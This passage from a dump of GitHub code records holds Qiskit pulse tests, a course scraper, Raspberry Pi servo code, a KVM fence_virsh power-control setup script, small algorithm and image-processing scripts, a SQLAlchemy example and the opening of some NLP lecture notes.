instruction.\"\"\"\n        sched = pulse.Schedule()\n        sched += pulse.ShiftPhase(self.phi1, self.d1)\n\n        with self.assertWarns(DeprecationWarning):\n            test_obj = pulse.Call(subroutine=sched)\n\n        value_dict = {self.phi1: 1.57, self.ch1: 2}\n\n        visitor = ParameterSetter(param_map=value_dict)\n        assigned = visitor.visit(test_obj)\n\n        ref_sched = pulse.Schedule()\n        ref_sched += pulse.ShiftPhase(1.57, pulse.DriveChannel(2))\n\n        with self.assertWarns(DeprecationWarning):\n            ref_obj = pulse.Call(subroutine=ref_sched)\n\n        self.assertEqual(assigned, ref_obj)\n\n    def test_with_function(self):\n        \"\"\"Test ParameterExpressions formed trivially in a function.\"\"\"\n\n        def get_shift(variable):\n            return variable - 1\n\n        test_obj = pulse.ShiftPhase(get_shift(self.phi1), self.d1)\n\n        value_dict = {self.phi1: 2.0, self.ch1: 2}\n\n        visitor = ParameterSetter(param_map=value_dict)\n        assigned = visitor.visit(test_obj)\n\n        ref_obj = pulse.ShiftPhase(1.0, pulse.DriveChannel(2))\n\n        self.assertEqual(assigned, ref_obj)\n\n    def test_set_parameter_to_alignment_context(self):\n        \"\"\"Test get parameters from alignment context.\"\"\"\n        test_obj = AlignEquispaced(duration=self.context_dur + self.dur1)\n\n        value_dict = {self.context_dur: 1000, self.dur1: 100}\n\n        visitor = ParameterSetter(param_map=value_dict)\n        assigned = visitor.visit(test_obj)\n\n        ref_obj = AlignEquispaced(duration=1100)\n\n        self.assertEqual(assigned, ref_obj)\n\n    def test_nested_assignment_partial_bind(self):\n        \"\"\"Test nested schedule with call instruction.\n        Inline the schedule and partially bind parameters.\"\"\"\n        context = AlignEquispaced(duration=self.context_dur)\n        subroutine = pulse.ScheduleBlock(alignment_context=context)\n        subroutine += pulse.Play(self.parametric_waveform1, self.d1)\n\n        nested_block = pulse.ScheduleBlock()\n        with self.assertWarns(DeprecationWarning):\n            nested_block += pulse.Call(subroutine=subroutine)\n\n        test_obj = pulse.ScheduleBlock()\n        test_obj += nested_block\n\n        test_obj = inline_subroutines(test_obj)\n\n        value_dict = {self.context_dur: 1000, self.dur1: 200, self.ch1: 1}\n\n        visitor = ParameterSetter(param_map=value_dict)\n        assigned = visitor.visit(test_obj)\n\n        ref_context = AlignEquispaced(duration=1000)\n        ref_subroutine = pulse.ScheduleBlock(alignment_context=ref_context)\n        ref_subroutine += pulse.Play(\n            pulse.Gaussian(200, self.amp1_1 + self.amp1_2, 50), pulse.DriveChannel(1)\n        )\n\n        ref_nested_block = pulse.ScheduleBlock()\n        ref_nested_block += ref_subroutine\n\n        ref_obj = pulse.ScheduleBlock()\n        ref_obj += ref_nested_block\n\n        self.assertEqual(assigned, ref_obj)\n\n    def test_complex_valued_parameter(self):\n        \"\"\"Test complex valued parameter can be casted to a complex value,\n        but raises PendingDeprecationWarning..\"\"\"\n        amp = Parameter(\"amp\")\n        test_obj = pulse.Constant(duration=160, amp=1j * amp)\n\n        value_dict = {amp: 0.1}\n\n        visitor = ParameterSetter(param_map=value_dict)\n        with self.assertWarns(PendingDeprecationWarning):\n            assigned = visitor.visit(test_obj)\n\n        with self.assertWarns(DeprecationWarning):\n            ref_obj = pulse.Constant(duration=160, amp=1j * 0.1)\n\n        self.assertEqual(assigned, ref_obj)\n\n    def test_complex_value_to_parameter(self):\n        \"\"\"Test complex value can be assigned to parameter object,\n        but raises PendingDeprecationWarning.\"\"\"\n        amp = Parameter(\"amp\")\n        test_obj = pulse.Constant(duration=160, amp=amp)\n\n        value_dict = {amp: 0.1j}\n\n        visitor = ParameterSetter(param_map=value_dict)\n        with self.assertWarns(PendingDeprecationWarning):\n            assigned = visitor.visit(test_obj)\n\n        with self.assertWarns(DeprecationWarning):\n            ref_obj = pulse.Constant(duration=160, amp=1j * 0.1)\n\n        self.assertEqual(assigned, ref_obj)\n\n    def test_complex_parameter_expression(self):\n        \"\"\"Test assignment of complex-valued parameter expression to parameter,\n        but raises PendingDeprecationWarning.\"\"\"\n        amp = Parameter(\"amp\")\n\n        mag = Parameter(\"A\")\n        phi = Parameter(\"phi\")\n\n        test_obj = pulse.Constant(duration=160, amp=amp)\n        test_obj_copy = deepcopy(test_obj)\n        # generate parameter expression\n        value_dict = {amp: mag * np.exp(1j * phi)}\n        visitor = ParameterSetter(param_map=value_dict)\n        assigned = visitor.visit(test_obj)\n\n        # generate complex value\n        value_dict = {mag: 0.1, phi: 0.5}\n        visitor = ParameterSetter(param_map=value_dict)\n        with self.assertWarns(PendingDeprecationWarning):\n            assigned = visitor.visit(assigned)\n\n        # evaluated parameter expression: 0.0877582561890373 + 0.0479425538604203*I\n        value_dict = {amp: 0.1 * np.exp(0.5j)}\n\n        visitor = ParameterSetter(param_map=value_dict)\n        with self.assertWarns(PendingDeprecationWarning):\n            ref_obj = visitor.visit(test_obj_copy)\n        self.assertEqual(assigned, ref_obj)\n\n    def test_invalid_pulse_amplitude(self):\n        \"\"\"Test that invalid parameters are still checked upon assignment.\"\"\"\n        amp = Parameter(\"amp\")\n\n        test_sched = pulse.ScheduleBlock()\n        test_sched.append(\n            pulse.Play(\n                pulse.Constant(160, amp=2 * amp),\n                pulse.DriveChannel(0),\n            ),\n            inplace=True,\n        )\n        with self.assertRaises(PulseError):\n            test_sched.assign_parameters({amp: 0.6}, inplace=False)\n\n    def test_disable_validation_parameter_assignment(self):\n        \"\"\"Test that pulse validation can be disabled on the class level.\n\n        Tests for representative examples.\n        \"\"\"\n        sig = Parameter(\"sigma\")\n        test_sched = pulse.ScheduleBlock()\n        test_sched.append(\n            pulse.Play(\n                pulse.Gaussian(duration=100, amp=0.5, sigma=sig, angle=0.0), pulse.DriveChannel(0)\n            ),\n            inplace=True,\n        )\n        with self.assertRaises(PulseError):\n            test_sched.assign_parameters({sig: -1.0}, inplace=False)\n        with patch(\n            \"qiskit.pulse.library.symbolic_pulses.SymbolicPulse.disable_validation\", new=True\n        ):\n            test_sched = pulse.ScheduleBlock()\n            test_sched.append(\n                pulse.Play(\n                    pulse.Gaussian(duration=100, amp=0.5, sigma=sig, angle=0.0),\n                    pulse.DriveChannel(0),\n                ),\n                inplace=True,\n            )\n            binded_sched = test_sched.assign_parameters({sig: -1.0}, inplace=False)\n            self.assertLess(binded_sched.instructions[0][1].pulse.sigma, 0)\n\n    def test_set_parameter_to_complex_schedule(self):\n        \"\"\"Test get parameters from complicated schedule.\"\"\"\n        test_block = deepcopy(self.test_sched)\n\n        value_dict = {\n            self.amp1_1: 0.1,\n            self.amp1_2: 0.2,\n            self.amp2: 0.3,\n            self.amp3: 0.4,\n            self.dur1: 100,\n            self.dur2: 125,\n            self.dur3: 150,\n            self.ch1: 0,\n            self.ch2: 2,\n            self.ch3: 4,\n            self.phi1: 1.0,\n            self.phi2: 2.0,\n            self.phi3: 3.0,\n            self.meas_dur: 300,\n            self.mem1: 3,\n            self.reg1: 0,\n            self.context_dur: 1000,\n        }\n\n        visitor = ParameterSetter(param_map=value_dict)\n        assigned = visitor.visit(test_block)\n\n        # create ref schedule\n        subroutine = pulse.ScheduleBlock(alignment_context=AlignLeft())\n        subroutine += pulse.ShiftPhase(1.0, pulse.DriveChannel(0))\n        subroutine += pulse.Play(pulse.Gaussian(100, 0.3, 25), pulse.DriveChannel(0))\n\n        sched = pulse.Schedule()\n        sched += pulse.ShiftPhase(3.0, pulse.DriveChannel(4))\n\n        ref_obj = pulse.ScheduleBlock(alignment_context=AlignEquispaced(1000), name=\"long_schedule\")\n\n        ref_obj += subroutine\n        ref_obj += pulse.ShiftPhase(2.0, pulse.DriveChannel(2))\n        ref_obj += pulse.Play(pulse.Gaussian(125, 0.3, 25), pulse.DriveChannel(2))\n        with self.assertWarns(DeprecationWarning):\n            ref_obj += pulse.Call(sched)\n        ref_obj += pulse.Play(pulse.Gaussian(150, 0.4, 25), pulse.DriveChannel(4))\n\n        ref_obj += pulse.Acquire(\n            300, pulse.AcquireChannel(0), pulse.MemorySlot(3), pulse.RegisterSlot(0)\n        )\n\n        self.assertEqual(assigned, ref_obj)\n\n\nclass TestAssignFromProgram(QiskitTestCase):\n    \"\"\"Test managing parameters from programs. Parameter manager is implicitly called.\"\"\"\n\n    def test_attribute_parameters(self):\n        \"\"\"Test the ``parameter`` attributes.\"\"\"\n        sigma = Parameter(\"sigma\")\n        amp = Parameter(\"amp\")\n\n        waveform = pulse.library.Gaussian(duration=128, sigma=sigma, amp=amp)\n\n        block = pulse.ScheduleBlock()\n        block += pulse.Play(waveform, pulse.DriveChannel(10))\n\n        ref_set = {amp, sigma}\n\n        self.assertSetEqual(set(block.parameters), ref_set)\n\n    def test_parametric_pulses(self):\n        \"\"\"Test Parametric Pulses with parameters determined by ParameterExpressions\n        in the Play instruction.\"\"\"\n        sigma = Parameter(\"sigma\")\n        amp = Parameter(\"amp\")\n\n        waveform = pulse.library.Gaussian(duration=128, sigma=sigma, amp=amp)\n\n        block = pulse.ScheduleBlock()\n        block += pulse.Play(waveform, pulse.DriveChannel(10))\n        block.assign_parameters({amp: 0.2, sigma: 4}, inplace=True)\n\n        self.assertEqual(block.blocks[0].pulse.amp, 0.2)\n        self.assertEqual(block.blocks[0].pulse.sigma, 4.0)\n\n    def test_parameters_from_subroutine(self):\n        \"\"\"Test that get parameter objects from subroutines.\"\"\"\n        param1 = Parameter(\"amp\")\n        waveform = pulse.library.Constant(duration=100, amp=param1)\n\n        program_layer0 = pulse.Schedule()\n        program_layer0 += pulse.Play(waveform, pulse.DriveChannel(0))\n\n        # from call instruction\n        program_layer1 = pulse.Schedule()\n        with self.assertWarns(DeprecationWarning):\n            program_layer1 += pulse.instructions.Call(program_layer0)\n        self.assertEqual(program_layer1.get_parameters(\"amp\")[0], param1)\n\n        # from nested call instruction\n        program_layer2 = pulse.Schedule()\n        with self.assertWarns(DeprecationWarning):\n            program_layer2 += pulse.instructions.Call(program_layer1)\n        self.assertEqual(program_layer2.get_parameters(\"amp\")[0], param1)\n\n    def test_assign_parameter_to_subroutine(self):\n        \"\"\"Test that assign parameter objects to subroutines.\"\"\"\n        param1 = Parameter(\"amp\")\n        waveform = pulse.library.Constant(duration=100, amp=param1)\n\n        program_layer0 = pulse.Schedule()\n        program_layer0 += pulse.Play(waveform, pulse.DriveChannel(0))\n        reference = program_layer0.assign_parameters({param1: 0.1}, inplace=False)\n\n        # to call instruction\n        program_layer1 = pulse.Schedule()\n        with self.assertWarns(DeprecationWarning):\n            program_layer1 += pulse.instructions.Call(program_layer0)\n        target = program_layer1.assign_parameters({param1: 0.1}, inplace=False)\n        self.assertEqual(inline_subroutines(target), reference)\n\n        # to nested call instruction\n        program_layer2 = pulse.Schedule()\n        with self.assertWarns(DeprecationWarning):\n            program_layer2 += pulse.instructions.Call(program_layer1)\n        target = program_layer2.assign_parameters({param1: 0.1}, inplace=False)\n        self.assertEqual(inline_subroutines(target), reference)\n\n    def test_assign_parameter_to_subroutine_parameter(self):\n        \"\"\"Test that assign parameter objects to parameter of subroutine.\"\"\"\n        param1 = Parameter(\"amp\")\n        waveform = pulse.library.Constant(duration=100, amp=param1)\n\n        param_sub1 = Parameter(\"p1\")\n        param_sub2 = Parameter(\"p2\")\n\n        subroutine = pulse.Schedule()\n        subroutine += pulse.Play(waveform, pulse.DriveChannel(0))\n        reference = subroutine.assign_parameters({param1: 0.6}, inplace=False)\n\n        main_prog = pulse.Schedule()\n        pdict = {param1: param_sub1 + param_sub2}\n        with self.assertWarns(DeprecationWarning):\n            main_prog += pulse.instructions.Call(subroutine, value_dict=pdict)\n\n        # parameter is overwritten by parameters\n        self.assertEqual(len(main_prog.parameters), 2)\n        target = main_prog.assign_parameters({param_sub1: 0.1, param_sub2: 0.5}, inplace=False)\n        result = inline_subroutines(target)\n\n        self.assertEqual(result, reference)\n\n\nclass TestScheduleTimeslots(QiskitTestCase):\n    \"\"\"Test for edge cases of timing overlap on parametrized channels.\n\n    Note that this test is dedicated to `Schedule` since `ScheduleBlock` implicitly\n    assigns instruction time t0 that doesn't overlap with existing instructions.\n    \"\"\"\n\n    def test_overlapping_pulses(self):\n        \"\"\"Test that an error is still raised when overlapping instructions are assigned.\"\"\"\n        param_idx = Parameter(\"q\")\n\n        schedule = pulse.Schedule()\n        schedule |= pulse.Play(pulse.Waveform([1, 1, 1, 1]), pulse.DriveChannel(param_idx))\n        with self.assertRaises(PulseError):\n            schedule |= pulse.Play(\n                pulse.Waveform([0.5, 0.5, 0.5, 0.5]), pulse.DriveChannel(param_idx)\n            )\n\n    def test_overlapping_on_assignment(self):\n        \"\"\"Test that assignment will catch against existing instructions.\"\"\"\n        param_idx = Parameter(\"q\")\n\n        schedule = pulse.Schedule()\n        schedule |= pulse.Play(pulse.Waveform([1, 1, 1, 1]), pulse.DriveChannel(1))\n        schedule |= pulse.Play(pulse.Waveform([1, 1, 1, 1]), pulse.DriveChannel(param_idx))\n        with self.assertRaises(PulseError):\n            schedule.assign_parameters({param_idx: 1})\n\n    def test_overlapping_on_expression_assigment_to_zero(self):\n        \"\"\"Test constant*zero expression conflict.\"\"\"\n        param_idx = Parameter(\"q\")\n\n        schedule = pulse.Schedule()\n        schedule |= pulse.Play(pulse.Waveform([1, 1, 1, 1]), pulse.DriveChannel(param_idx))\n        schedule |= pulse.Play(pulse.Waveform([1, 1, 1, 1]), pulse.DriveChannel(2 * param_idx))\n        with self.assertRaises(PulseError):\n            schedule.assign_parameters({param_idx: 0})\n\n    def test_merging_upon_assignment(self):\n        \"\"\"Test that schedule can match instructions on a channel.\"\"\"\n        param_idx = Parameter(\"q\")\n\n        schedule = pulse.Schedule()\n        schedule |= pulse.Play(pulse.Waveform([1, 1, 1, 1]), pulse.DriveChannel(1))\n        schedule = schedule.insert(\n            4, pulse.Play(pulse.Waveform([1, 1, 1, 1]), pulse.DriveChannel(param_idx))\n        )\n        schedule.assign_parameters({param_idx: 1})\n\n        self.assertEqual(schedule.ch_duration(pulse.DriveChannel(1)), 8)\n        self.assertEqual(schedule.channels, (pulse.DriveChannel(1),))\n\n    def test_overlapping_on_multiple_assignment(self):\n        \"\"\"Test that assigning one qubit then another raises error when overlapping.\"\"\"\n        param_idx1 = Parameter(\"q1\")\n        param_idx2 = Parameter(\"q2\")\n\n        schedule = pulse.Schedule()\n        schedule |= pulse.Play(pulse.Waveform([1, 1, 1, 1]), pulse.DriveChannel(param_idx1))\n        schedule |= pulse.Play(pulse.Waveform([1, 1, 1, 1]), pulse.DriveChannel(param_idx2))\n        schedule.assign_parameters({param_idx1: 2})\n\n        with self.assertRaises(PulseError):\n            schedule.assign_parameters({param_idx2: 2})\n\n    def test_cannot_build_schedule_with_unassigned_duration(self):\n        \"\"\"Test we cannot build schedule with parameterized instructions\"\"\"\n        dur = Parameter(\"dur\")\n        ch = pulse.DriveChannel(0)\n\n        test_play = pulse.Play(pulse.Gaussian(dur, 0.1, dur / 4), ch)\n\n        sched = pulse.Schedule()\n        with self.assertRaises(UnassignedDurationError):\n            sched.insert(0, test_play)\n","repo_name":"Qiskit/qiskit","sub_path":"test/python/pulse/test_parameter_manager.py","file_name":"test_parameter_manager.py","file_ext":"py","file_size_in_byte":23979,"program_lang":"python","lang":"en","doc_type":"code","stars":4020,"dataset":"github-code","pt":"22"}
+{"seq_id":"18839235170","text":"import os\nimport json\n\nfrom parse.gb_common.course_parser import ParseCourses\nfrom parse.gb_common.lesson_parser import ParseWebinar, ParseInteractive, ParseVideo\nfrom database.storage import DatabaseInteraction\nfrom parse.parser.parser import Parser\nfrom common.config import MAIN_LINK, COURSES_LINK_PREFIX, VIDEO_TYPE, WEBINAR_TYPE, INTERACTIVE_TYPE\nfrom parse.gb_common.link_handler import LinkHandler\n\n\nclass ParseGeekBrains(Parser):\n    \"\"\"Parse all materials from GeekBrains.\"\"\"\n\n    def __init__(self, email, password):\n        super(Parser, self).__init__(email, password)\n        self.database = DatabaseInteraction()\n\n    def start_parse(self):\n        \"\"\"Login, parse and logout.\"\"\"\n        self.login_gb()\n        self.parse_materials()\n        self.logout_gb()\n\n    def save_main_info(self, courses):\n        for course in courses:\n            self.database.add_course(self.email, course['course_link'], course['course_name'], course['type'], course['completed_on_gb'])\n\n            for link_id in course['link_id']:\n                self.database.add_lesson(course['course_link'], link_id)\n\n    def save_lesson(self, lesson):\n        link_handler = LinkHandler()\n        link_id = (lesson.link, lesson.link_id)\n\n        if lesson.type == VIDEO_TYPE:\n            link = link_handler.video_or_webinar_link(*link_id)\n            parse_lesson = ParseVideo(self.get_soup(link)).parse_video()\n\n        elif lesson.type == WEBINAR_TYPE:\n            link = link_handler.video_or_webinar_link(*link_id)\n            link_hw = link_handler.webinar_link_hw(*link_id)\n            parse_lesson = ParseWebinar(self.get_soup(link), self.get_soup(link_hw)).parse_webinar()\n\n        elif lesson.type == INTERACTIVE_TYPE:\n            link = link_handler.interactive_link(*link_id)\n            link_hw = link_handler.interactive_link_hw(*link_id)\n            parse_lesson = ParseInteractive(self.get_soup(link), self.get_soup(link_hw)).parse_interactive()\n\n        data = dict()\n        data['link_id'] = lesson.link_id\n        data['lesson_name'] = parse_lesson['lesson_name']\n\n        if lesson.completed_on_gb:\n            data['is_parse'] = True\n        if parse_lesson.get('announcement'):\n            data['announcement'] = parse_lesson['announcement']\n        if parse_lesson.get('homework'):\n            data['homework'] = parse_lesson['homework']\n\n        self.database.update_lesson(**data)\n        self.save_materials(lesson.link_id, parse_lesson.get('materials'))\n\n    def save_lessons(self):\n        for lesson in self.database.get_lessons(is_parse=False):\n            self.save_lesson(lesson)\n\n    def save_materials(self, link_id, materials):\n        if materials:\n            for link_name, link in materials.items():\n                self.database.add_material(link_id, link_name, link)\n\n    def parse_materials(self):\n        \"\"\"Parse all information.\"\"\"\n        user = self.database.get_user(self.email)\n\n        courses = ParseCourses(self.get_soup(MAIN_LINK + COURSES_LINK_PREFIX)).get_courses()\n        self.save_main_info(courses)\n\n        self.save_lessons()\n","repo_name":"nishadrin/downloadgb","sub_path":"parse/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":3075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"5795804465","text":"# Servo Motor test\n# 01. 0도의 위치 찾기 \nimport RPi.GPIO as GPIO\nimport time \n \n\nSERVO = 12\n\nGPIO.setmode(GPIO.BOARD) #BOARD 로 설정해서 servo 값을 12를 입력해야 한다. \nGPIO.setup(SERVO, GPIO.OUT)\n\npwm = GPIO.PWM(SERVO, 50) #50Hz servo motor 동작 주파수\n#주는 값에 따라 달라진다. \npwm.start(3.0) #0.6ms\n\ntime.sleep(2.0) #2s\npwm.ChangeDutyCycle(0.0)    #0도에 멈춘다.\n\npwm.stop()\nGPIO.cleanup()","repo_name":"Jingle-b/EMS_com","sub_path":"raspbian/gpio_main6.py","file_name":"gpio_main6.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"4361977973","text":"import os\nimport sys\nimport socket\n\nsys.path.insert(0, os.getcwd())\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"settings\")\n\nimport django\n\ndjango.setup()\n\n\ndef fatal(msg):\n    sys.stderr.write(\"%s\\n\" % msg)\n    sys.exit(1)\n\n\ntry:\n    from chroma_core.models import PowerControlType, PowerControlDevice\nexcept ImportError:\n    fatal(\n        \"Can't import chroma_core.models! Are you on the IML manager and is your current directory /usr/share/chroma-manager ?\"\n    )\ntry:\n    from django.db import transaction\nexcept ImportError:\n    fatal(\"Can't import django.db! Are you on the IML manager?\")\n\n\nif __name__ == \"__main__\":\n    try:\n        ipmi = PowerControlType.objects.get(make=\"IPMI\", model=\"1.5 (LAN)\")\n    except PowerControlType.DoesNotExist:\n        fatal(\"Could not find the IPMI power type! Is the DB set up?\")\n\n    ipmi.agent = \"fence_virsh\"\n    ipmi.default_port = 22\n    ipmi.poweron_template = \"%(agent)s %(options)s -a %(address)s -u %(port)s -l %(username)s -k %(home)s/.ssh/id_rsa -o on -n %(identifier)s\"\n    ipmi.powercycle_template = \"%(agent)s %(options)s  -a %(address)s -u %(port)s -l %(username)s -k %(home)s/.ssh/id_rsa -o reboot -n %(identifier)s\"\n    ipmi.poweroff_template = \"%(agent)s %(options)s -a %(address)s -u %(port)s -l %(username)s -k %(home)s/.ssh/id_rsa -o off -n %(identifier)s\"\n    ipmi.monitor_template = (\n        \"%(agent)s %(options)s -a %(address)s -u %(port)s -l %(username)s -k %(home)s/.ssh/id_rsa -o monitor\"\n    )\n    ipmi.outlet_query_template = \"%(agent)s %(options)s -a %(address)s -u %(port)s -l %(username)s -k %(home)s/.ssh/id_rsa -o status -n %(identifier)s\"\n    ipmi.save()\n\n    vm_host = raw_input(\"Enter the IP Address of your VM Host: \")\n    try:\n        # there's always one...\n        vm_host = socket.gethostbyaddr(vm_host)[2][0]\n    except (socket.error, socket.gaierror):\n        fatal(\"%s does not appear to be a valid address\" % vm_host)\n\n    pcd = PowerControlDevice(device_type=ipmi, address=vm_host, port=22)\n\n    pcd.save()\n\n    print(\n        \"\"\"\n********* IMPORTANT: THIS IS AN UNSUPPORTED CONFIGURATION **********\n************ NOT INTENDED FOR PRODUCTION DEPLOYMENTS!!! *************\n\nThe IPMI power control type will now drive a KVM host to emulate power control\nand STONITH, provided the following conditions are met:\n\n    * The IML manager can ssh as root to the KVM host, WITHOUT A PASSWORD\n    * Lustre servers can ssh as root to the KVM host, WITHOUT A PASSWORD\n    * When adding a BMC, the hostname entered matches the vm name as shown in `virsh list` on the KVM host\n\"\"\"\n    )\n","repo_name":"whamcloud/integrated-manager-for-lustre","sub_path":"scripts/fake_ipmi_kvm.py","file_name":"fake_ipmi_kvm.py","file_ext":"py","file_size_in_byte":2567,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"22"}
+{"seq_id":"28361566264","text":"# User function Template for python3\ndef solve(arr, k, curr, ans):\n    if k == len(arr):\n        ans.append(sum(curr))\n        return\n    solve(arr, k + 1, curr, ans)\n    curr.append(arr[k])\n    solve(arr, k + 1, curr, ans)\n    curr.pop()\n\n\nclass Solution:\n    def subsetSums(self, arr, N):\n        # code here\n        ans = []\n        curr = []\n        solve(arr, 0, curr, ans)\n        return ans\n\n\n# {\n# Driver Code Starts\n# Initial Template for Python 3\n\n\nif __name__ == \"__main__\":\n    T = int(input())\n    for i in range(T):\n        N = int(input())\n        arr = [int(x) for x in input().split()]\n        ob = Solution()\n        ans = ob.subsetSums(arr, N)\n        ans.sort()\n        for x in ans:\n            print(x, end=\" \")\n        print(\"\")\n\n# } Driver Code Ends\n","repo_name":"huggin/gfg","sub_path":"recursion/subset_sums.py","file_name":"subset_sums.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"27343589393","text":"import cv2\nimport numpy as np\n\ndef minfilter(img,r):\n    H,W=img.shape\n    im=img.copy()\n    center=r\n    for row in range(center,H-center):\n        for col in range(center,W-center):\n            im[row][col]=img[row-center:row+center+1,col-center:col+center+1].min(0).min(0)\n    return im\n\ndef guidedfilter(I, p, r, eps):\n\n    height, width= I.shape\n    m_I = cv2.boxFilter(I, -1, (r, r))\n    m_p = cv2.boxFilter(p, -1, (r, r))\n    m_Ip = cv2.boxFilter(I * p, -1, (r, r))\n    cov_Ip = m_Ip - m_I * m_p\n\n    m_II = cv2.boxFilter(I * I, -1, (r, r))\n    var_I = m_II - m_I * m_I\n\n    a = cov_Ip / (var_I + eps)\n    b = m_p - a * m_I\n\n    m_a = cv2.boxFilter(a, -1, (r, r))\n    m_b = cv2.boxFilter(b, -1, (r, r))\n    return m_a * I + m_b\n\n\ndef getV1(m, r, eps, w, maxV1):  # 输入rgb图像，值范围[0,1]\n\n    V1 = np.min(m,2) # 得到暗通道图像\n    #V1=np.expand_dims(V1,2)\n    #img1 = np.expand_dims(minfilter(V1, 7),2)\n    #cv2.imshow(\"4\",img1)\n    #cv2.imshow('h',minfilter(V1, 7))\n    V1 = guidedfilter(V1,minfilter(V1, 7), r, eps)  # 使用引导滤波优化\n    cv2.imshow(\"h\",V1)\n    #cv2.imshow(\"3\",V1)\n    #cv2.waitKey(0)\n    bins = 3000\n    ht = np.histogram(V1, bins)  # 计算大气光照A\n    #统计V1max V1min 除以3000的各个区间内个数\n    d = np.cumsum(ht[0]) / float(V1.size)\n    #除以总的灰度值个数\n    for lmax in range(bins - 1, 0, -1):\n        if d[lmax] <= 0.999:\n            break\n    print(d[lmax])#取的是亮度值\n    A = np.mean(m, 2)[V1 >= ht[1][lmax]].max()\n    print(A)\n    V1 = np.minimum(V1 * 0.95,0.8)  # 对值范围进行限制\n    #print(V1[0][:10])\n\n\n    return V1, A\n\n\ndef deHaze(m, r=81, eps=0.001, w=0.95, maxV1=0.80, bGamma=False):\n    Y = np.zeros(m.shape)\n    #print(m.shape)\n    V1, A = getV1(m, r, eps, w, maxV1)  # 得到遮罩图像和大气光照\n    print(A)\n    for k in range(3):\n        Y[:, :, k] = (m[:, :, k] - V1) / (1 - V1 / A)  # 颜色校正\n    Y = np.clip(Y, 0, 1)\n    print(Y[0][:10])\n    if bGamma:\n        Y = Y ** (np.log(0.5) / np.log(Y.mean()))  # gamma校正,默认不进行该操作'''\n    return Y\n\n\nif __name__ == '__main__':\n    m = deHaze(cv2.imread('/home/wlj/pic/15.jpg')/255.0)*255\n    m=np.clip(m,0,255)\n    m=m.astype('uint8')\n    cv2.imshow('defog.jpg', m)\n    img=cv2.imread('/home/wlj/pic/15.jpg')\n    #cv2.imshow(\"2\",img)\n    cv2.waitKey(0)\n","repo_name":"wlj961012/DigitalMedia","sub_path":"test4.py","file_name":"test4.py","file_ext":"py","file_size_in_byte":2349,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"2897622760","text":"def check_nohup(filename, content, mode=''):\n    NUM_NEXT_LINES = 0\n    \n    with open(filename, 'r', encoding='UTF-8') as file:\n        num_rest_lines = 0\n        last_lines = []\n        for linea in file:\n            linea=linea.replace(\"\\n\",\"\")\n\n            if linea.startswith(mode) and content in linea:\n                for last_line in last_lines:\n                    if len(last_line) > 50:\n                        last_line = last_line[:50] + ' ...'\n                    print(last_line)\n                # print('--------> ', linea)\n                end = -1\n                while True:\n                    pattern = \"'time': \"\n                    beg = linea.find(pattern, end+1)\n                    if beg == -1:\n                        break\n                    end = linea.find(',', beg+1)\n                    print(linea[beg+len(pattern):end], end=\":\")\n\n                    beg = linea.find(content, end+1)\n                    end = linea.find(']', beg+1)\n                    print(linea[beg+len(content):end])\n                num_rest_lines = NUM_NEXT_LINES # print this line and next N line\n            else:\n                if num_rest_lines > 0:\n                    num_rest_lines -= 1\n                    if len(linea) > 50:\n                        linea = linea[:50] + ' ...'\n                    print(linea)\n                    if num_rest_lines == 0:\n                        print('----------END----------')\n\n            last_lines.append(linea)\n            if len(last_lines) == NUM_NEXT_LINES+1:\n                last_lines = last_lines[1:]\n\n\n# check_nohup(filename=r\"nohup.out\", content=\"Epoch\")\n# check_nohup(filename=r\"nohup.out\", content=\"intersection\")\n# check_nohup(filename=r\"nohup.out\", content=\"rror\")\nimport sys\nwith open('w_in_test.txt', 'w') as f:\n    sys.stdout = f\n    check_nohup(filename=r\"nohup.out\", content=\"'w_in': [\", mode='test: ')\n# check_nohup(filename=r\"nohup.out\", content=\"succeed in reloading model for initialization from\")\n# check_nohup(filename=r\"nohup.out\", content=\"Error occurs when making rewards\")\n# check_nohup(filename=r\"nohup.out\", content=\"succeed in loading model\")\n# check_nohup(filename=r\"nohup.out\", content=\"value\")\n","repo_name":"zhuliwen/RoadnetSZ","sub_path":"code/LToS/check_w_in.py","file_name":"check_w_in.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"22"}
+{"seq_id":"27599992206","text":"#!/usr/bin/python3\n'''script that adds a new state'''\n\nfrom model_state import Base, State\nimport sys\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\n\nif __name__ == \"__main__\":\n    engine = create_engine('mysql+mysqldb://{}:{}@localhost/{}'.format(\n        sys.argv[1], sys.argv[2], sys.argv[3]), pool_pre_ping=True)\n    Base.metadata.create_all(engine)\n\n    Session = sessionmaker(bind=engine)\n    session = Session()\n\n    new_state = State(name='Louisiana')\n    session.add(new_state)\n\n    session.commit()\n\n    records = session.query(State.id).filter(\n        State.name == 'Louisiana').one_or_none()\n\n    if records:\n        print(f'{records.id}')\n    else:\n        print('Not found')\n","repo_name":"eyadfattah23/alx-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/11-model_state_insert.py","file_name":"11-model_state_insert.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"30524756662","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer, TfidfVectorizer\n\n\n\"\"\"\nLecture notes - NLP intro - text feature extraction\n\nThis is the lecture note for NLP intro, more on text feature extraction and preprocessing \nwill be given in the NLP section of the deep learning course. \n\nNote that this lecture note gives a brief introduction to NLP with focus on text extraction. \nI encourage you to read further about text text feature extraction.\n\"\"\"\n\n\"\"\"\nTerm frequency\nterm frequency $tf(t,d)$ - relative frequency of term $t$ in document $d$, i.e. how frequent a term occurs in a document\nse bild\n\"\"\"\nreview1 = \"I LOVE this book about love\"\nreview2 = \"No this book was okay\"\n\nall_words = [text.lower().split() for text in [review1, review2]]\nprint(all_words)\n\n# flattens 2D list to 1D list\nall_words = [word for text in all_words for word in text]\nprint(f\"Flattened all 